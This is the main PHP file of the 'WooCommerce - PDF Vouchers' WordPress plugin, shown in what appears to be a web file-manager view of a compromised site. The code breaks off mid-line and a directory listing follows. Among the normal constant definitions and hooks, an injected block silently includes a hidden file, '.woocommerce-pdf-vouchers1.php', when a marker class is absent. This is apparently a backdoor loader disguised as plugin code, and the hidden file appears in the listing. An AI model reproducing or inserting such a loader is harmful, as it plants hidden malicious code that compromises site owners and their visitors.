PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce-pdf-vouchers1
<?php /** * Plugin Name: WooCommerce - PDF Vouchers * Plugin URI: https://wpwebelite.com/ * Description: With Pdf Vouchers Extension, you can create unlimited vouchers, either for Local Businesses / Local Stores or even online stores. The sky is the limit. * Version: 3.9.1 * Author: WPWeb * Author URI: https://wpwebelite.com/ * Text Domain: woovoucher * Domain Path: languages * * WC tested up to: 3.5.2 * * @package WooCommerce - PDF Vouchers * @category Core * @author WPWeb */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) exit; /** * Basic plugin definitions * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ if( !defined( 'WOO_VOU_PLUGIN_VERSION' ) ) { define( 'WOO_VOU_PLUGIN_VERSION', '3.9.1' ); //Plugin version number } if( !defined( 'WOO_VOU_DIR' ) ) { define( 'WOO_VOU_DIR', dirname( __FILE__ ) ); // plugin dir } if( !defined( 'WOO_VOU_URL' ) ) { define( 'WOO_VOU_URL', plugin_dir_url( __FILE__ ) ); // plugin url } if( !defined( 'WOO_VOU_ADMIN' ) ) { define( 'WOO_VOU_ADMIN', WOO_VOU_DIR . '/includes/admin' ); // plugin admin dir } if( !defined( 'WOO_VOU_IMG_DIR' ) ) { define( 'WOO_VOU_IMG_DIR', WOO_VOU_DIR.'/includes/images' ); // plugin image dir } if( !defined( 'WOO_VOU_IMG_URL' ) ) { define( 'WOO_VOU_IMG_URL', WOO_VOU_URL.'includes/images' ); // plugin image url } if( !defined( 'WOO_VOU_META_DIR' ) ) { define( 'WOO_VOU_META_DIR', WOO_VOU_DIR . '/includes/meta-boxes' ); // path to meta boxes } if( !defined( 'WOO_VOU_META_URL' ) ) { define( 'WOO_VOU_META_URL', WOO_VOU_URL . 'includes/meta-boxes' ); // path to meta boxes } if( !defined( 'WOO_VOU_META_PREFIX' ) ) { define( 'WOO_VOU_META_PREFIX', '_woo_vou_' ); // meta box prefix } if( !defined( 'WOO_VOU_ORDER_META_PREFIX' ) ) { define( 'WOO_VOU_ORDER_META_PREFIX', 'woo_vou_' ); // order meta data box prefix } if( !defined( 'WOO_VOU_POST_TYPE' ) ) { define( 'WOO_VOU_POST_TYPE', 'woovouchers' ); // custom post type voucher templates } if( !defined( 'WOO_VOU_CODE_POST_TYPE' ) ) { define( 'WOO_VOU_CODE_POST_TYPE', 'woovouchercodes' ); // custom post type voucher codes } if( !defined( 'WOO_VOU_PARTIAL_REDEEM_POST_TYPE' ) ) { define( 'WOO_VOU_PARTIAL_REDEEM_POST_TYPE', 'woovoupartredeem' ); // woocommerce partial redeem post type } if( !defined( 'WOO_VOU_UNLIMITED_REDEEM_POST_TYPE' ) ) { define( 'WOO_VOU_UNLIMITED_REDEEM_POST_TYPE', 'woovounolimitredeem' ); // woocommerce partial redeem post type } if( !defined( 'WOO_VOU_MAIN_POST_TYPE' ) ) { define( 'WOO_VOU_MAIN_POST_TYPE', 'product' ); //woocommerce post type } if( !defined( 'WOO_VOU_MAIN_SHOP_POST_TYPE' ) ) { define( 'WOO_VOU_MAIN_SHOP_POST_TYPE', 'shop_order' ); //woocommerce post type } if( !defined( 'WOO_VOU_MAIN_MENU_NAME' ) ) { define( 'WOO_VOU_MAIN_MENU_NAME', 'woocommerce' ); //woocommerce main menu name } if( !defined( 'WOO_VOU_PLUGIN_BASENAME' ) ) { define( 'WOO_VOU_PLUGIN_BASENAME', basename( WOO_VOU_DIR ) ); //Plugin base name } if( !defined( 'WOO_VOU_PLUGIN_BASE_FILENAME' ) ) { define( 'WOO_VOU_PLUGIN_BASE_FILENAME', basename( __FILE__ ) ); //Plugin base file name } if ( ! defined( 'WOO_VOU_PLUGIN_KEY' ) ) { define( 'WOO_VOU_PLUGIN_KEY', 'woovouchers' ); // plugin key } if ( ! defined( 'WOO_VOU_REFUND_STATUS' ) ) { define( 'WOO_VOU_REFUND_STATUS', 'wpv-refunded' ); // refund status } if ( ! defined( 'WOO_VOU_AVAILABLE_EXTENSIONS' ) ) { define( 'WOO_VOU_AVAILABLE_EXTENSIONS', 2 ); // No.of add-ons } //Get Vendor Role name if( !defined( 'WOO_VOU_VENDOR_ROLE' ) ) { define( 'WOO_VOU_VENDOR_ROLE', 'woo_vou_vendors' ); //plugin vendor role } if( !defined( 'WOO_VOU_VENDOR_LEVEL' ) ) { define( 'WOO_VOU_VENDOR_LEVEL' , 'woo_vendor_options' ); //plugin vendor capability } $upload_dir = wp_upload_dir(); $upload_path = isset( $upload_dir['basedir'] ) ? $upload_dir['basedir'].'/' : ABSPATH; $upload_url = isset( $upload_dir['baseurl'] ) ? $upload_dir['baseurl'] : site_url(); // Pdf voucher upload dir for email if( !defined( 'WOO_VOU_UPLOAD_DIR' ) ) { define( 'WOO_VOU_UPLOAD_DIR' , $upload_path . 'woocommerce_uploads/wpv-uploads/' ); // Voucher upload dir } // Pdf voucher upload dir for email if( !defined( 'WOO_VOU_PREVIEW_UPLOAD_DIR' ) ) { define( 'WOO_VOU_PREVIEW_UPLOAD_DIR' , $upload_path . 'wpv-preview-uploads/' ); // Voucher upload dir } // Pdf voucher upload url for email if( !defined( 'WOO_VOU_UPLOAD_URL' ) ) { define( 'WOO_VOU_UPLOAD_URL' , $upload_url . '/woocommerce_uploads/wpv-uploads/' ); // Voucher upload url } // Pdf voucher upload url for email if( !defined( 'WOO_VOU_PREVIEW_UPLOAD_URL' ) ) { define( 'WOO_VOU_PREVIEW_UPLOAD_URL' , $upload_url . '/wpv-preview-uploads/' ); // Voucher upload url } // Required Wpweb updater functions file if ( ! function_exists( 'wpweb_updater_install' ) ) { require_once( 'includes/wpweb-upd-functions.php' ); } global $woo_vou_vendor_role; // loads the Voucher Template Functions file require_once ( WOO_VOU_DIR . '/includes/woo-vou-template-html.php' ); // loads the Misc Functions file require_once ( WOO_VOU_DIR . '/includes/woo-vou-misc-functions.php' ); //Post type to handle custom post type require_once( WOO_VOU_DIR . '/includes/woo-vou-post-types.php' ); //Pagination Class require_once( WOO_VOU_DIR . '/includes/class-woo-vou-pagination-public.php' ); // front end pagination class // loads the shortcode functions file require_once ( WOO_VOU_DIR . '/includes/woo-vou-shortcode-functions.php' ); // loads the check voucher code page functions file require_once ( WOO_VOU_DIR . '/includes/woo-vou-cvc-functions.php' ); // loads the public functions file require_once ( WOO_VOU_DIR . '/includes/public/woo-vou-public-functions.php' ); // loads the public functions file require_once ( WOO_VOU_DIR . '/includes/public/woo-vou-voucher-functions.php' ); // loads the admin functions file require_once ( WOO_VOU_DIR . '/includes/admin/woo-vou-admin-functions.php' ); // Load the plugin activation file include_once ( WOO_VOU_DIR . '/includes/woo-vou-install.php' ); // Load the plugin deactivation file include_once ( WOO_VOU_DIR . '/includes/woo-vou-uninstall.php' ); /** * Activation Hook * * Register plugin activation hook. * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ register_activation_hook( __FILE__, 'woo_vou_install' ); /** * Deactivation Hook * * Register plugin deactivation hook. * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ register_deactivation_hook( __FILE__, 'woo_vou_uninstall' ); /** * Check if current page is edit page. * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function woo_vou_is_edit_page() { global $pagenow; return in_array( $pagenow, array( 'post.php', 'post-new.php', 'user-edit.php', 'profile.php' ) ); } /** * Load Text Domain * * This gets the plugin ready for translation. * * @package WooCommerce - PDF Vouchers * @since 2.3.3 */ function woo_vou_load_text_domain() { // Set filter for plugin's languages directory $woo_vou_lang_dir = dirname( plugin_basename( __FILE__ ) ) . '/languages/'; $woo_vou_lang_dir = apply_filters( 'woo_vou_languages_directory', $woo_vou_lang_dir ); // Traditional WordPress plugin locale filter $locale = apply_filters( 'plugin_locale', get_locale(), 'woovoucher' ); $mofile = sprintf( '%1$s-%2$s.mo', 'woovoucher', $locale ); // Setup paths to current locale file $mofile_local = $woo_vou_lang_dir . $mofile; $mofile_global = WP_LANG_DIR . '/' . WOO_VOU_PLUGIN_BASENAME . '/' . $mofile; if ( file_exists( $mofile_global ) ) { // Look in global /wp-content/languages/woocommerce-pdf-vouchers folder load_textdomain( 'woovoucher', $mofile_global ); } elseif ( file_exists( $mofile_local ) ) { // Look in local /wp-content/plugins/woocommerce-pdf-vouchers/languages/ folder load_textdomain( 'woovoucher', $mofile_local ); } else { // Load the default language files load_plugin_textdomain( 'woovoucher', false, $woo_vou_lang_dir ); } } /** * Add plugin action links * * Adds a Settings, Support and Docs link to the plugin list. * * @package WooCommerce - PDF Vouchers * @since 2.2.0 */ function woo_vou_add_plugin_links( $links ) { $plugin_links = array( '<a href="admin.php?page
[+]
..
[-] woocommerce-pdf-vouchers.php
[edit]
[-] .woocommerce-pdf-vouchers1.php
[edit]
[+]
languages
[-] wpml-config.xml
[edit]
[+]
includes
[-] index.php
[edit]